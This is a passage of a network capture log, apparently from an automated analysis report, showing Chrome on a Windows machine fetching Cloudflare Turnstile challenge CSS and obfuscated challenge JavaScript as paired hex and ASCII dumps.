forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a Data Ascii: display:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.siz
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c Data Ascii: eout-i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-sel
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d Data Ascii: ver{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50055	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:25 UTC	740	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a38299fd108c5d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:25 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 128544 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 90a3829e7ab9c420-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:25 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 52 61 59 54 31 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZRaYT1={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 Data Ascii: 20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_expired":"Expired","turnstile_failure":"Error","turnstile_overrun_description":"Stuck%20here%3F","testing_only_always_pass":"Testing
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 2c 66 4b 2c 66 4c 2c 66 4d 2c 66 57 2c 67 37 2c 67 62 2c 67 65 2c 67 66 2c 67 63 2c 67 64 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 35 39 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 36 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 31 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 39 37 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 30 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 31 34 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 30 30 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 Data Ascii: ,fK,fL,fM,fW,g7,gb,ge,gf,gc,gd){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1059))/1(-parseInt(gI(1069))/2)+parseInt(gI(971))/3+-parseInt(gI(997))/4+parseInt(gI(850))/5+-parseInt(gI(714))/6(parseInt(gI(1800))/7)+parseInt(gI(1
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 68 28 31 33 32 31 29 5d 5b 68 68 28 31 37 38 31 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 68 28 39 35 33 29 5d 28 43 2c 78 5b 68 68 28 37 36 37 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 66 31 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 68 68 28 31 31 32 36 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 68 28 31 37 30 37 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 68 28 35 33 30 29 5d 3d 3d 3d 6f 5b 68 68 28 39 33 37 29 5d 28 69 2c 44 29 3f 73 28 6f 5b 68 68 28 31 35 32 36 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 6f 5b 68 68 28 31 32 31 34 29 5d 28 73 2c 6f 5b 68 68 28 31 31 36 39 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 Data Ascii: '.split('A'),B=B[hh(1321)][hh(1781)](B),C=0;o[hh(953)](C,x[hh(767)]);D=x[C],E=f1(g,h,D),B(E)?(F=o[hh(1126)]('s',E)&&!g[hh(1707)](h[D]),o[hh(530)]===o[hh(937)](i,D)?s(o[hh(1526)](i,D),E):F\|\|s(i+D,h[D])):o[hh(1214)](s,o[hh(1169)](i,D),E),C++);return j;funct
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 42 45 46 53 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 4d 6d 6d 72 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6a 59 78 44 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 45 47 6c 56 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 47 42 4d 42 6f 27 3a 68 6d 28 37 35 32 29 2c 27 6c 41 59 43 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6e 66 4a 72 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 6a 7a 4f 50 6d 27 3a 66 75 6e 63 74 Data Ascii: ,i){return h==i},'BEFSy':function(h,i){return i==h},'Mmmrs':function(h,i){return h<<i},'jYxDs':function(h,i){return h==i},'EGlVf':function(h,i){return i!==h},'GBMBo':hm(752),'lAYCT':function(h,i){return h>i},'nfJrI':function(h,i){return i\|h},'jzOPm':funct
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 6f 28 39 30 36 29 5d 28 73 29 2c 6f 3d 30 3b 6c 5b 68 6f 28 32 30 30 34 29 5d 28 6f 2c 6e 5b 68 6f 28 37 36 37 29 5d 29 3b 6f 2b 2b 29 69 66 28 73 3d 6e 5b 6f 5d 2c 73 3d 3d 3d 27 66 27 26 26 28 73 3d 27 4e 27 29 2c 4a 5b 73 5d 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 4b 5b 6e 5b 6f 5d 5d 5b 68 6f 28 37 36 37 29 5d 3b 6c 5b 68 6f 28 31 38 37 37 29 5d 28 2d 31 2c 4c 5b 73 5d 5b 68 6f 28 31 37 32 30 29 5d 28 4d 5b 6e 5b 6f 5d 5d 5b 78 5d 29 29 26 26 28 6c 5b 68 6f 28 38 33 32 29 5d 28 4e 2c 4f 5b 6e 5b 6f 5d 5d 5b 78 5d 29 7c 7c 50 5b 73 5d 5b 68 6f 28 37 34 35 29 5d 28 6c 5b 68 6f 28 31 36 35 32 29 5d 28 27 6f 2e 27 2c 51 5b 6e 5b 6f 5d 5d 5b 78 5d 29 29 29 2c 78 2b 2b 29 3b 7d 65 6c 73 65 20 52 5b 73 5d 3d 53 5b 6e 5b 6f 5d 5d 5b 68 6f 28 31 36 36 36 29 5d 28 Data Ascii: o(906)](s),o=0;l[ho(2004)](o,n[ho(767)]);o++)if(s=n[o],s==='f'&&(s='N'),J[s]){for(x=0;x<K[n[o]][ho(767)];l[ho(1877)](-1,L[s][ho(1720)](M[n[o]][x]))&&(l[ho(832)](N,O[n[o]][x])\|\|P[s][ho(745)](l[ho(1652)]('o.',Q[n[o]][x]))),x++);}else R[s]=S[n[o]][ho(1666)](
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 29 29 7b 69 66 28 4c 3d 69 5b 68 70 28 31 36 31 33 29 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 68 70 28 31 32 39 32 29 5d 5b 68 70 28 31 32 30 34 29 5d 5b 68 70 28 35 33 39 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 64 5b 68 70 28 34 37 37 29 5d 28 44 2c 4c 29 2c 4f 62 6a 65 63 74 5b 68 70 28 31 32 39 32 29 5d 5b 68 70 28 31 32 30 34 29 5d 5b 68 70 28 35 33 39 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 68 70 28 31 32 39 32 29 5d 5b 68 70 28 31 32 30 34 29 5d 5b 68 70 28 35 33 39 29 5d 28 43 2c 44 29 29 7b 69 66 28 32 35 36 3e 44 5b 68 70 28 39 33 30 29 5d 28 30 29 29 7b 69 66 28 68 70 28 37 35 37 29 21 3d 3d 64 5b 68 70 28 39 32 35 29 5d 29 7b 66 6f 72 28 50 3d 27 27 2c 51 3d Data Ascii: )){if(L=i[hp(1613)](K),Object[hp(1292)][hp(1204)][hp(539)](B,L)\|\|(B[L]=F++,C[L]=!0),M=d[hp(477)](D,L),Object[hp(1292)][hp(1204)][hp(539)](B,M))D=M;else{if(Object[hp(1292)][hp(1204)][hp(539)](C,D)){if(256>D[hp(930)](0)){if(hp(757)!==d[hp(925)]){for(P='',Q=
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 73 5b 68 70 28 31 31 39 38 29 5d 28 4e 29 5b 68 70 28 31 39 31 33 29 5d 5b 68 70 28 34 38 34 29 5d 3d 73 5b 68 70 28 37 38 37 29 5d 3b 69 66 28 64 5b 68 70 28 31 39 35 37 29 5d 28 27 27 2c 44 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 68 70 28 31 32 39 32 29 5d 5b 68 70 28 31 32 30 34 29 5d 5b 68 70 28 35 33 39 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 68 70 28 31 37 33 39 29 5d 21 3d 3d 68 70 28 39 35 31 29 29 7b 69 66 28 64 5b 68 70 28 35 35 39 29 5d 28 32 35 36 2c 44 5b 68 70 28 39 33 30 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 64 5b 68 70 28 37 39 38 29 5d 28 78 2c 47 29 3b 49 3c 3c 3d 31 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 68 70 28 37 34 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 68 70 Data Ascii: s[hp(1198)](N)[hp(1913)][hp(484)]=s[hp(787)];if(d[hp(1957)]('',D)){if(Object[hp(1292)][hp(1204)][hp(539)](C,D)){if(d[hp(1739)]!==hp(951)){if(d[hp(559)](256,D[hp(930)](0))){for(x=0;d[hp(798)](x,G);I<<=1,j-1==J?(J=0,H[hp(745)](o(I)),I=0):J++,x++);for(N=D[hp
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 2a 28 73 5b 68 70 28 31 31 37 35 29 5d 28 54 2c 32 29 26 31 29 2c 56 2b 3d 28 55 2f 3d 32 29 2a 28 73 5b 68 70 28 37 31 39 29 5d 28 54 2c 31 29 26 31 2e 34 32 29 2c 56 2b 3d 73 5b 68 70 28 31 33 39 32 29 5d 28 55 2f 3d 32 2c 73 5b 68 70 28 35 31 34 29 5d 28 73 5b 68 70 28 31 31 37 35 29 5d 28 54 2c 30 29 2c 31 29 29 2c 54 3d 30 3b 36 3e 54 3b 54 2b 2b 29 66 6f 72 28 57 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 37 32 5d 5b 33 5d 5e 73 5b 68 70 28 31 38 31 37 29 5d 28 73 5b 68 70 28 37 39 35 29 5d 28 74 68 69 73 2e 68 5b 31 37 32 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 68 70 28 39 33 30 29 5d 28 74 68 69 73 2e 68 5b 31 37 32 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 31 32 31 29 2c 32 35 36 29 26 32 35 35 2e 37 38 2c 58 3d 37 3b 30 3c 3d 58 3b 58 2d 2d Data Ascii: (s[hp(1175)](T,2)&1),V+=(U/=2)(s[hp(719)](T,1)&1.42),V+=s[hp(1392)](U/=2,s[hp(514)](s[hp(1175)](T,0),1)),T=0;6>T;T++)for(W=this.h[this.g^172][3]^s[hp(1817)](s[hp(795)](this.h[172^this.g][1][hp(930)](this.h[172^this.g][0]++),121),256)&255.78,X=7;0<=X;X--
2025-01-30 18:26:25 UTC	1369	IN	Data Raw: 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 41 28 37 34 35 29 5d 28 4d 29 3b 3b 29 69 66 28 64 5b 68 41 28 31 34 36 30 29 5d 28 64 5b 68 41 28 31 32 36 37 29 5d 2c 68 41 28 31 39 37 37 29 29 29 4f 3d 7b 7d 2c 4f 5b 68 41 28 31 31 36 37 29 5d 3d 68 41 28 31 36 34 38 29 2c 4f 5b 68 41 28 37 38 32 29 5d 3d 47 5b 68 41 28 31 35 38 30 29 5d 5b 68 41 28 31 31 32 38 29 5d 2c 4f 5b 68 41 28 34 36 34 29 5d 3d 64 5b 68 41 28 31 33 31 30 29 5d 2c 46 5b 68 41 28 36 34 34 29 5d 5b 68 41 28 38 32 37 29 5d 28 4f 2c 27 2a 27 29 3b 65 6c 73 65 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 41 28 35 36 38 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 68 41 28 31 31 35 34 Data Ascii: ;case 2:return''}for(E=s[3]=M,D[hA(745)](M);;)if(d[hA(1460)](d[hA(1267)],hA(1977)))O={},O[hA(1167)]=hA(1648),O[hA(782)]=G[hA(1580)][hA(1128)],O[hA(464)]=d[hA(1310)],F[hA(644)][hA(827)](O,'*');else{if(I>i)return'';for(J=0,K=Math[hA(568)](2,C),F=1;d[hA(1154

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50056	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:26 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=90a38299fd108c5d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:26 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122414 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 90a382a4182e4378-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:26 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 52 61 59 54 31 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZRaYT1={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 Data Ascii: om%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists."
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 2c 66 4e 2c 66 58 2c 67 38 2c 67 63 2c 67 66 2c 67 67 2c 67 47 2c 67 48 2c 67 64 2c 67 65 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 36 39 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 30 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 35 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 38 38 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 32 36 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 35 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 30 38 29 29 2f 37 2b 2d 70 61 72 73 65 Data Ascii: ,fN,fX,g8,gc,gf,gg,gG,gH,gd,ge){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1769))/1(parseInt(gI(930))/2)+-parseInt(gI(1355))/3(-parseInt(gI(1388))/4)+-parseInt(gI(1226))/5*(-parseInt(gI(1151))/6)+-parseInt(gI(1108))/7+-parse
2025-01-30 18:26:26 UTC	1369	IN	Data Raw: 28 4a 2c 4b 29 7b 72 65 74 75 72 6e 20 4b 5e 4a 7d 2c 27 65 53 61 54 62 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 2c 67 53 29 7b 72 65 74 75 72 6e 20 67 53 3d 62 2c 6f 5b 67 53 28 39 38 33 29 5d 28 4a 2c 4b 29 7d 2c 27 58 6b 56 46 69 27 3a 66 75 6e 63 74 69 6f 6e 28 4a 2c 4b 2c 67 54 29 7b 72 65 74 75 72 6e 20 67 54 3d 62 2c 6f 5b 67 54 28 31 31 37 34 29 5d 28 4a 2c 4b 29 7d 7d 2c 6f 5b 67 55 28 31 30 38 34 29 5d 3d 3d 3d 67 55 28 36 33 31 29 29 4b 3d 48 5b 67 55 28 31 35 37 33 29 5d 28 74 68 69 73 2e 68 5b 48 5b 67 55 28 31 35 37 33 29 5d 28 32 39 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 31 35 37 2b 74 68 69 73 2e 68 5b 48 5b 67 55 28 31 35 37 33 29 5d 28 32 39 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 67 55 28 31 34 37 37 29 5d 28 74 68 69 73 2e 68 5b 48 5b Data Ascii: (J,K){return K^J},'eSaTb':function(J,K,gS){return gS=b,o[gS(983)](J,K)},'XkVFi':function(J,K,gT){return gT=b,o[gT(1174)](J,K)}},o[gU(1084)]===gU(631))K=H[gU(1573)](this.h[H[gU(1573)](29,this.g)][3],157+this.h[H[gU(1573)](29,this.g)][1][gU(1477)](this.h[H[
